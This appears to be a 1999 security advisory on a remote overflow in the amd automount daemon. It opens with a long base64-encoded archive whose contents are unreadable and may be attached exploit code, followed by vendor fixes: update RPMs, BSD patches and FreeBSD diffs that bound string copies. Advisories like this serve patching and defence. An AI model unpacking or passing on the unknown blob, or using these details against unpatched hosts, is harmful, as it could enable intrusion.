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
tabI1gD4AgA=
-----
SOLUTION
Red Hat Linux 4.2 shipped originally with a version of amd that is
no longer being maintained. Since Red Hat Linux 5.0 RH has
switched to am-utils. This release of am-utils has been
backported to 4.2 and it will obsolete the original 4.2 amd
package. The following is valid for all releases and
arcitectures: the default configuration file format for amd that
Red Hat used to ship has been changed. Initially the /etc/amd.conf
file used to be the default map file that would allow access to
the /net hierarchy. Now /etc/amd.conf is the amd configuration
file and the default map is installed as /etc/amd.net.
RPMs required (for Red Hat Linux 6.0, 5.2 and 4.2 respectively):
ftp://updates.redhat.com/6.0/i386/am-utils-6.0.1s11-1.6.0.i386.rpm
ftp://updates.redhat.com/5.2/i386/am-utils-6.0.1s11-1.5.2.i386.rpm
ftp://updates.redhat.com/4.2/i386/am-utils-6.0.1s11-1.4.2.i386.rpm
ftp://updates.redhat.com/6.0/alpha/am-utils-6.0.1s11-1.6.0.alpha.rpm
ftp://updates.redhat.com/5.2/alpha/am-utils-6.0.1s11-1.5.2.alpha.rpm
ftp://updates.redhat.com/4.2/alpha/am-utils-6.0.1s11-1.4.2.alpha.rpm
ftp://updates.redhat.com/6.0/sparc/am-utils-6.0.1s11-1.6.0.sparc.rpm
ftp://updates.redhat.com/5.2/sparc/am-utils-6.0.1s11-1.5.2.sparc.rpm
ftp://updates.redhat.com/4.2/sparc/am-utils-6.0.1s11-1.4.2.sparc.rpm
ftp://updates.redhat.com/6.0/SRPMS/am-utils-6.0.1s11-1.6.0.src.rpm
ftp://updates.redhat.com/5.2/SRPMS/am-utils-6.0.1s11-1.5.2.src.rpm
ftp://updates.redhat.com/4.2/SRPMS/am-utils-6.0.1s11-1.4.2.src.rpm
BSD/OS 4.0.1 and 3.1 are both vulnerable to this problem if amd
has been configured. The amd daemon is not started if it has not
been configured locally. Mods (M410-017 for 4.0.1 and M310-057)
are available via ftp from
ftp://ftp.bsdi.com/bsdi/patches
or via BSD/OS web site at
http://www.bsdi.com/support/patches
The latest stable version of am-utils includes several important
security fixes. To retrieve it, use anonymous ftp for the
following URL
ftp://shekel.mcl.cs.columbia.edu/pub/am-utils/
FreeBSD corrected that in FreeBSD-3.3 RELEASE, FreeBSD-current as
of September 7, 1999 FreeBSD-3.2-stable as of August 25, 1999.
The FreeBSD-3.3-RC series of releases are not affected. The only
way to avoid these problems are to upgrade or not run the amd
daemon. That leaves disabling the amd deamon as your only
workaround. Patches for 3.2-stable and -current systems before
the resolution date:
Index: xutil.c
===================================================================
RCS file: /home/ncvs/src/contrib/amd/libamu/xutil.c,v
retrieving revision 1.1.1.3
retrieving revision 1.1.1.3.2.1
diff -u -r1.1.1.3 -r1.1.1.3.2.1
--- xutil.c 1999/01/13 19:20:33 1.1.1.3
+++ xutil.c 1999/08/25 18:59:39 1.1.1.3.2.1
@@ -272,16 +272,18 @@
/*
* Take a log format string and expand occurrences of %m
- * with the current error code taken from errno.
+ * with the current error code taken from errno. Make sure
+ * 'e' never gets longer than maxlen characters.
*/
static void
-expand_error(char *f, char *e)
+expand_error(char *f, char *e, int maxlen)
{
extern int sys_nerr;
- char *p;
+ char *p, *q;
int error = errno;
+ int len = 0;
- for (p = f; (*e = *p); e++, p++) {
+ for (p = f, q = e; (*q = *p) && len < maxlen; len++, q++, p++) {
if (p[0] == '%' && p[1] == 'm') {
const char *errstr;
if (error < 0 || error >= sys_nerr)
@@ -289,13 +291,15 @@
else
errstr = sys_errlist[error];
if (errstr)
- strcpy(e, errstr);
+ strcpy(q, errstr);
else
- sprintf(e, "Error %d", error);
- e += strlen(e) - 1;
+ sprintf(q, "Error %d", error);
+ len += strlen(q) - 1;
+ q += strlen(q) - 1;
p++;
}
}
+ e[maxlen-1] = '\0'; /* null terminate, to be sure */
}
@@ -401,9 +405,15 @@
checkup_mem();
#endif /* DEBUG_MEM */
- expand_error(fmt, efmt);
+ expand_error(fmt, efmt, 1024);
+ /*
+ * XXX: ptr is 1024 bytes long. It is possible to write into it
+ * more than 1024 bytes, if efmt is already large, and vargs expand
+ * as well.
+ */
vsprintf(ptr, efmt, vargs);
+ msg[1023] = '\0'; /* null terminate, to be sure */
ptr += strlen(ptr);
if (ptr[-1] == '\n')
Index: amq_subr.c
===================================================================
RCS file: /home/imp/FreeBSD/CVS/src/contrib/amd/amd/amq_subr.c,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -r1.3 -r1.4
--- amq_subr.c 1999/01/13 20:03:54 1.3
+++ amq_subr.c 1999/09/07 23:07:03 1.4
@@ -204,11 +204,24 @@
int *
amqproc_mount_1_svc(voidp argp, struct svc_req *rqstp)
{
- static int rc;
- char *s = *(amq_string *) argp;
+ static int rc = EINVAL;
+ char s[AMQ_STRLEN];
char *cp;
+ char dq[20];
+ struct sockaddr_in *sin;
+
+ if ((sin = amu_svc_getcaller(rqstp->rq_xprt)) == NULL) {
+ plog(XLOG_ERROR, "amu_svc_getcaller returned NULL");
+ return &rc;
+ }
+
+ strncpy(s, *(amq_string *) argp, AMQ_STRLEN-1);
+ s[AMQ_STRLEN-1] = '\0'; /* null terminate, to be sure */
+ plog(XLOG_ERROR,
+ "amq requested mount of %s from %s.%d",
+ s, inet_dquad(dq, sin->sin_addr.s_addr),
+ ntohs(sin->sin_port));
- plog(XLOG_INFO, "amq requested mount of %s", s);
/*
* Minimalist security check.
*/
The version of amd that was distributed with Debian GNU/Linux 2.1
is vulnerable to a remote exploit. This was fixed in version
23.0slink1. However that fix contained an error which has been
fixed in version upl102-23.slink2.